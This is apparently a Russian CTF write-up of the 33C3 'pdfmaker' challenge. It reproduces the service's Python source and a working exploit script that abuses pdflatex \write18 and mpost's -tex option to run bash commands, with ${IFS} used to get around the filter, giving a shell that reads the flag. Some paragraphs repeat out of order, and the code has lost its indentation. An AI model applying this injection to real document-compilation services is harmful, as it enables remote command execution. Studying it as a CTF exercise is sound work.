33C3 CTF Эксплуатируем уязвимость LaTeX'а в задании pdfmaker
Этот небольшой write-up будет посвящен разбору одного из заданий с недавнего CTF 33С3. Задания ещё доступны по ссылке, а пока рассмотрим решение pdfmaker из раздела Misc.
Собственно, описание задания:
К заданию прилагался скрипт, исходным кодом сервиса:
После изучения скрипта, становится понятно, что мы имеем дело с pdflatex. Быстрый поиск в гугл выдаёт ссылку на статью с описанием недавней уязвимости. Так же определяем, что нужный нам флаг начинается с 33C3 и далее идёт рандомная последовательность.
После запуска, выяснилось, что символ слеша, не верно обрабатывается, и команда, в которой он присутствует не выполняется. Шелл у нас есть, осталось вывести флаг командой:
Собственно, описание задания:
Just a tiny application, that lets the user write some files and compile them with pdflatex. What can possibly go wrong?nc 78.46.224.91 24242
К заданию прилагался скрипт, исходным кодом сервиса:
pdfmaker_public.py
#!/usr/bin/env python2.7
# -*- coding: utf-8 -*-
import signal
import sys
from random import randint
import os, pipes
from shutil import rmtree
from shutil import copyfile
import subprocess
class PdfMaker:
def cmdparse(self, cmd):
fct = {
'help': self.helpmenu,
'?': self.helpmenu,
'create': self.create,
'show': self.show,
'compile': self.compilePDF,
'flag': self.flag
}.get(cmd, self.unknown)
return fct
def handle(self):
self.initConnection()
print " Welcome to p.d.f.maker! Send '?' or 'help' to get the help. Type 'exit' to disconnect."
instruction_counter = 0
while(instruction_counter < 77):
try:
cmd = (raw_input("> ")).strip().split()
if len(cmd) < 1:
continue
if cmd[0] == "exit":
self.endConnection()
return
print self.cmdparse(cmd[0])(cmd)
instruction_counter += 1
except Exception, e:
print "An Exception occured: ", e.args
self.endConnection()
break
print "Maximum number of instructions reached"
self.endConnection()
def initConnection(self):
cwd = os.getcwd()
self.directory = cwd + "/tmp/" + str(randint(0, 2**60))
while os.path.exists(self.directory):
self.directory = cwd + "/tmp/" + str(randint(0, 2**60))
os.makedirs(self.directory)
flag = self.directory + "/" + "33C3" + "%X" % randint(0, 2**31) + "%X" % randint(0, 2**31)
copyfile("flag", flag)
def endConnection(self):
if os.path.exists(self.directory):
rmtree(self.directory)
def unknown(self, cmd):
return "Unknown Command! Type 'help' or '?' to get help!"
def helpmenu(self, cmd):
if len(cmd) < 2:
return " Available commands: ?, help, create, show, compile.\n Type 'help COMMAND' to get information about the specific command."
if (cmd[1] == "create"):
return (" Create a file. Syntax: create TYPE NAME\n"
" TYPE: type of the file. Possible types are log, tex, sty, mp, bib\n"
" NAME: name of the file (without type ending)\n"
" The created file will have the name NAME.TYPE")
elif (cmd[1] == "show"):
return (" Shows the content of a file. Syntax: show TYPE NAME\n"
" TYPE: type of the file. Possible types are log, tex, sty, mp, bib\n"
" NAME: name of the file (without type ending)")
elif (cmd[1] == "compile"):
return (" Compiles a tex file with the help of pdflatex. Syntax: compile NAME\n"
" NAME: name of the file (without type ending)")
def show(self, cmd):
if len(cmd) < 3:
return " Invalid number of parameters. Type 'help show' to get more info."
if not cmd[1] in ["log", "tex", "sty", "mp", "bib"]:
return " Invalid file ending. Only log, tex, sty and mp allowed"
filename = cmd[2] + "." + cmd[1]
full_filename = os.path.join(self.directory, filename)
full_filename = os.path.abspath(full_filename)
if full_filename.startswith(self.directory) and os.path.exists(full_filename):
with open(full_filename, "r") as file:
content = file.read()
else:
content = "File not found."
return content
def flag(self, cmd):
pass
def create(self, cmd):
if len(cmd) < 3:
return " Invalid number of parameters. Type 'help create' to get more info."
if not cmd[1] in ["log", "tex", "sty", "mp", "bib"]:
return " Invalid file ending. Only log, tex, sty and mp allowed"
filename = cmd[2] + "." + cmd[1]
full_filename = os.path.join(self.directory, filename)
full_filename = os.path.abspath(full_filename)
if not full_filename.startswith(self.directory):
return "Could not create file."
with open(full_filename, "w") as file:
print "File created. Type the content now and finish it by sending a line containing only '\q'."
while 1:
text = raw_input("");
if text.strip("\n") == "\q":
break
write_to_file = True;
for filter_item in ("..", "*", "/", "\\x"):
if filter_item in text:
write_to_file = False
break
if (write_to_file):
file.write(text + "\n")
return "Written to " + filename + "."
def compilePDF(self, cmd):
if (len(cmd) < 2):
return " Invalid number of parameters. Type 'help compile' to get more info."
filename = cmd[1] + ".tex"
full_filename = os.path.join(self.directory, filename)
full_filename = os.path.abspath(full_filename)
if not full_filename.startswith(self.directory) or not os.path.exists(full_filename):
return "Could not compile file."
compile_command = "cd " + self.directory + " && pdflatex " + pipes.quote(full_filename)
compile_result = subprocess.check_output(compile_command, shell=True)
return compile_result
def signal_handler_sigint(signal, frame):
print 'Exiting...'
pdfmaker.endConnection()
sys.exit(0)
if __name__ == "__main__":
signal.signal(signal.SIGINT, signal_handler_sigint)
pdfmaker = PdfMaker()
pdfmaker.handle()
После изучения скрипта, становится понятно, что мы имеем дело с pdflatex. Быстрый поиск в гугл выдаёт ссылку на статью с описанием недавней уязвимости. Так же определяем, что нужный нам флаг начинается с 33C3 и далее идёт рандомная последовательность.
Воспользуемся им, и напишем небольшой скрипт для более удобного выполнения команд:
#!/usr/bin/python3
import socket
def send(cmd):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("78.46.224.91", 24242))
x = '''verbatimtex
\documentclass{minimal}\begin{document}
etex beginfig (1) label(btex blah etex, origin);
endfig; \end{document} bye
\q
'''
s.send('create mp x\n'.encode())
s.send(x.encode())
s.send('create tex test\n'.encode())
test = '''\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (%s)>flag.tex" "x.mp"}
\end{document}
\q
''' %(cmd)
s.sendall(test.encode())
s.send('compile test\n'.encode())
s.send('show tex flag\n'.encode())
data = s.recv(90240)
data = data.decode()
s.close()
return data
while True:
cmd = input('> ')
cmd = cmd.replace(' ','${IFS}')
print(send(cmd))
После запуска, выяснилось, что символ слеша, не верно обрабатывается, и команда, в которой он присутствует не выполняется. Шелл у нас есть, осталось вывести флаг командой:
ls | grep 33 | xargs cat
Задание пройдено, флаг найден!